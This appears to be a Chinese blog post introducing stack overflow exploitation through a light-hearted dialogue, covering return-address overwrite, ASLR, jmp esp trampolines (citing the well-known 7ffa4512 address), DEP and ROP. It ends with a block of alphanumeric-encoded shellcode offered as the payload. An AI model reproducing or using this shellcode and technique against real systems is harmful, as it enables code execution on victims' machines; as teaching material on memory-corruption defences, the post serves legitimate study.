栈爆了-精要介绍栈溢出相关

由于函数的返回地址在栈中,栈溢出会导致程序流程落入攻击者之手.
具体方法是,覆盖返回地址,等着ret执行我们的命令.

返回地址的门道

返回地址为一个固定的地址通往攻击者溢出的数据中这个愿望总是美好的。

小黑:攻击者开始任意执行自己的代码了。

安全厂商说:看我变

简称ASLR全称地址空间布局随机化的方案在安全厂商的推动下开始实施了。随机布局内存中的模块位置使得愿意配合保护的模块能够在内存中变换位置。

小黑:既然不能知道自己部署的攻击代码静态的位置,那么需要一个跳板:
寻找系统中的不愿意配合的模块中的跳板指令,常用的如下:

jmp esp /*著名的7ffa4512*/

call esp

由于call指令和jmp指令认的是相对地址,一切变得容易起来,但是where am i?
使用:

call offset 0

来将下一条指令的地址压栈来达到定位的效果,该技巧美其名曰:基址重定位

不许在栈上执行啊喂

小黑:你没搞错吗?栈溢出不让用栈?我曰
老黑:淡定,你知道有一件兵器叫ROP吗?

ROP-Return Oriented Programming
通过寻找在其他模块中的一串以ret结尾的指令组,用攻击者在栈上的布置的地址使函数执行像滑块一样拼接起来,栈上从没有执行过却提供了所有需要的参数和连接的关键
惊呆了~

决战

Talk is cheap,show me the code!!!

char szFromShellCode[] = 
"PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0"
"BBABXP8ABuJIrulKzLMQJLopwp5PuP8GW5k03sqb"
"CUCQHGReOtRTPeQVayXGpEOx0lsUv7uPlMSuoppP"
"RpV5NkhlK3JLwxLKQU5XPSrvrwLKDHLKPPS4xGpEK"
"LUPuPgpS0ni0MkHMYRuc8sTMqP030uPUPLK704LlK"
"2PeLNMLKCpUXlKKHNkG7elnkpTUWRXgszwLKPJuHL"
"KaJq0VcyOriNk4tLKwsl7lKCuzXEi5VqeKCnkaUfh"
"09PFVdpuZKLKpZEts3KoqvLKDLBkNkRzgluSYOLKu"
"TlKGsYWoycuKLlKqUKLaOQNSknkkUQMLIQUx48Gg5"
"nlQLWpslWpHGw5Np4nuPqLuPKwSulTF0UP1xePjg3"
"umHpyGpcC7po7SuolayUPSSwpO7QUoPSQWpBLWpO7"
"3uOT1Ts0Pr30KwSuOXcYWpcFuPO7reNL3UeP4pwpK"
"wcuNPWpwpePePsZgpCZWpPjs3pjePazdC1x5Pc07p"
"KpLMCuLLPPlKcuODKOXPLKZxNmRmmhLMrunXp3O0v"
"0RpBpPPrHePKqEWuPPQbrpPv0QCh8aRGpWpc0nm2t"
"a4ZXVoudWp";

更多细节去欣赏:
栈爆了中的小故事

你可能感兴趣的:(深造之旅,有趣-好玩,漏洞分析)